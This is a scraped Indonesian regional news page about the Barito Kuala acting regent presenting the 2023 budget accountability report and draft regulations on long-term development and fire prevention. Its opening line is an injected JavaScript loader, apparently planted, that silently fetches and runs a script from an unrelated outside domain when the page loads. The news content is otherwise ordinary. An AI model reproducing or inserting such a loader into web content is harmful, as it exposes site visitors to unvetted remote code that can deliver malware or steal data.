(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN- Pj Bupati Barito Kuala, Mujiyat, menyampaikan pertanggungjawaban pelaksanaan Anggaran Pendapatan dan Belanja Daerah (APBD) Tahun 2023, serta memaparkan dua Rancangan Peraturan Daerah (Raperda) dalam rapat paripurna DPRD yang berlangsung pada Selasa, 2 Juli 2024.
Raperda yang dibahas mencakup Rencana Pembangunan Jangka Panjang Daerah (RPJPD) Kabupaten Barito Kuala 2025-2045 dan Raperda tentang Pencegahan, Penanggulangan Kebakaran, dan Penyelamatan.
Mujiyat menjelaskan bahwa kinerja pemerintah daerah sepanjang tahun 2023 ditandai dengan ketekunan dan kerja keras, yang tercermin dari pencapaian kategori opini Wajar Tanpa Pengecualian (WTP) pada Laporan Keuangan Pemerintah Daerah (LKPD) Kabupaten Barito Kuala untuk kesembilan kalinya berturut-turut.
Dalam rapat tersebut, Mujiyat menguraikan realisasi anggaran pendapatan tahun 2023. Pendapatan Asli Daerah (PAD) mencapai 120,35%, dana perimbangan dari pemerintah nasional mencapai 104,30%, dan transfer dari pemerintah pusat lainnya, seperti Dana Insentif Daerah (DID) serta dana desa, terealisasi 100,00%.
Sementara itu, dana perimbangan dari pemerintah provinsi mencapai 169,91%, dan pos pendapatan lain-lain terealisasi 150,31%. Mujiyat menekankan bahwa meskipun PAD melebihi target, sebagian besar berasal dari pendapatan statis seperti jasa giro dan dividen, bukan dari kinerja langsung Satuan Kerja Perangkat Daerah.
Mujiyat juga memaparkan RPJPD Kabupaten Barito Kuala untuk periode 2025-2045, yang mengusung visi “Barito Kuala Maju Berkelanjutan Berbasis Agroindustri” dengan delapan misi pembangunan.
Misi tersebut meliputi transformasi sosial, ekonomi, tata kelola pemerintahan, ketentraman dan ketertiban, ketahanan sosial budaya dan ekologi, pembangunan kewilayahan, dukungan sarana dan prasarana, serta kesinambungan pembangunan.
Raperda tentang pencegahan dan penanggulangan kebakaran bertujuan untuk meningkatkan keamanan lingkungan, melindungi jiwa dan harta benda, serta memastikan kesiapan dan pemberdayaan masyarakat serta dinas dalam menghadapi kebakaran.
“Keberhasilan pembangunan di Kabupaten Barito Kuala tidak lepas dari kerjasama dan sinergi antara pemerintah nasional, pemerintah provinsi Kalimantan Selatan, pemerintah desa, serta seluruh masyarakat dan pihak-pihak terkait lainnya,” ujar Mujiyat dalam penutup sambutannya.(kanalkalimantan.com/rls)
Editor: rdy
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
This website uses cookies.